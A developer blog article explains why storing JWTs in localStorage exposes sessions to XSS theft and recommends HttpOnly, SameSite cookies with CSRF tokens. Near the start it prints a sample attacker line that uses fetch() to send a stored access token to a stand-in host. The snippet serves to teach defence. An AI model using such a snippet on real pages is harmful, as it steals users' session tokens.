DevgainsDevgainsDevgains
All articles

JWTs: Stop Storing Them in localStorage

·5 min read
JWTs: Stop Storing Them in localStorage

Photo: Unsplash

Open almost any tutorial on JWT authentication and you'll hit the same line of code within the first ten minutes: localStorage.setItem('token', jwt). It's simple, it survives a page refresh, and it works in every demo. It is also one of the most common ways teams hand their users' sessions to an attacker.

The problem isn't JWTs. JWTs are a fine token format. The problem is where the tutorial tells you to keep them. localStorage is readable by any JavaScript running on your page, which means the security of your entire session now depends on never, ever having a cross-site scripting bug. That's a bet you will eventually lose.

What localStorage Actually Guarantees

localStorage is a synchronous, origin-scoped key/value store. The MDN documentation is clear about its one relevant property for our purposes: it is fully accessible to JavaScript on the same origin. There is no flag, no mode, no setting that hides a localStorage value from script. If code runs on your page, it can read everything in there.

That's fine for a UI theme preference. It is a disaster for a bearer token, because a bearer token is the session. Whoever holds it is the user.

// The line in every tutorial
localStorage.setItem('access_token', jwt);
 
// The line in every attacker's payload
fetch('https://evil.example/collect', {
  method: 'POST',
  body: localStorage.getItem('access_token'),
});

The XSS Multiplier

Cross-site scripting is when an attacker gets their JavaScript to execute in your users' browsers — through an unsanitized comment field, a vulnerable dependency, a reflected query parameter. PortSwigger's XSS material catalogs dozens of paths to it, and most non-trivial apps ship at least one over their lifetime.

Here's the key insight: XSS and token storage compound each other. An XSS bug is bad on its own. An XSS bug plus a token in localStorage is account takeover at scale. The attacker's script doesn't need to ride along with the user or wait for anything — it reads the token, ships it to a server they control, and now they can replay your session from anywhere until that token expires.

A bearer token in localStorage means a single XSS bug anywhere on your origin equals full session theft for every affected user. You are betting your entire auth system on having zero XSS, forever. Don't take that bet — keep session tokens out of JavaScript's reach.

This is why the OWASP HTML5 / client-storage guidance explicitly warns against storing sensitive data, including session identifiers, in local or session storage.

The fix is to put the session token somewhere JavaScript cannot read it: an HttpOnly cookie set by the server. The HttpOnly flag tells the browser to attach the cookie to requests but hide it from document.cookie and any script. An XSS payload can still make requests as the user while it's running, but it can no longer exfiltrate the token to replay the session later — a meaningfully smaller blast radius.

// Server sets the session cookie — the browser stores it, JS can't read it
res.cookie('session', signedToken, {
  httpOnly: true,   // invisible to document.cookie / any script
  secure: true,     // HTTPS only
  sameSite: 'Lax',  // sent on top-level navigations, blocks most CSRF
  path: '/',
  maxAge: 1000 * 60 * 15, // short-lived; pair with a refresh flow
});

You can read the trade-offs and flag-by-flag guidance in the MDN reference on Set-Cookie.

The catch: cookies bring CSRF

Cookies are sent automatically by the browser, which is exactly what reintroduces cross-site request forgery — a malicious site triggering an authenticated request on your behalf. You don't get a free lunch; you trade an XSS-exfiltration problem for a CSRF problem. The good news is CSRF is a well-understood, solved problem. The SameSite attribute closes most of it, and for the rest you layer in anti-CSRF tokens per the OWASP CSRF Cheat Sheet.

// Belt and suspenders: SameSite cookie + a CSRF token the server verifies
app.use((req, res, next) => {
  if (['POST', 'PUT', 'DELETE'].includes(req.method)) {
    if (req.get('X-CSRF-Token') !== req.session.csrfToken) {
      return res.status(403).end();
    }
  }
  next();
});

"But I Need a Stateless API"

The most common objection: "We chose JWTs so the server stays stateless — cookies feel like going backwards." Two responses.

First, you can absolutely put a JWT inside an HttpOnly cookie. The cookie is just transport; the JWT is still the token your API validates. You keep stateless verification and lose the localStorage exposure.

Second, be honest about whether you needed statelessness at all. The headline feature of JWTs — no server lookup to validate — is also their headline weakness: you can't easily revoke one before it expires. If a token is stolen, a stateless system has no clean "log this session out now" button. Many teams discover they want short-lived access tokens plus a revocable, server-side refresh mechanism, which is most of the way back to sessions anyway.

The honest framing is: choose your token transport for its security properties and your token format for your architecture. They're independent decisions, and the tutorial that fused "use JWT" with "store in localStorage" did you a disservice by treating them as one.

A Practical Default

For a typical web app: short-lived JWT (or opaque session id) in a Secure, HttpOnly, SameSite=Lax cookie; a separate refresh token, also cookie-bound and rotated on use; CSRF tokens on state-changing requests. Reserve localStorage for genuinely non-sensitive UI state. Native mobile apps are a different threat model — use the platform's secure keystore, not a web storage API.

Takeaways

  • localStorage is readable by any script on your origin; there is no flag that hides a value from JavaScript.
  • A bearer token in localStorage turns any single XSS bug into scalable session theft — the two vulnerabilities multiply.
  • Put session tokens in Secure, HttpOnly, SameSite cookies so script can't read or exfiltrate them.
  • Cookies reintroduce CSRF, but SameSite plus anti-CSRF tokens is a well-understood, solved defense.
  • Token format (JWT) and token transport (cookie) are independent choices — you can put a JWT in an HttpOnly cookie.
  • Prefer short-lived access tokens with a revocable refresh flow over long-lived, unrevocable stateless tokens.
5 min read

Read next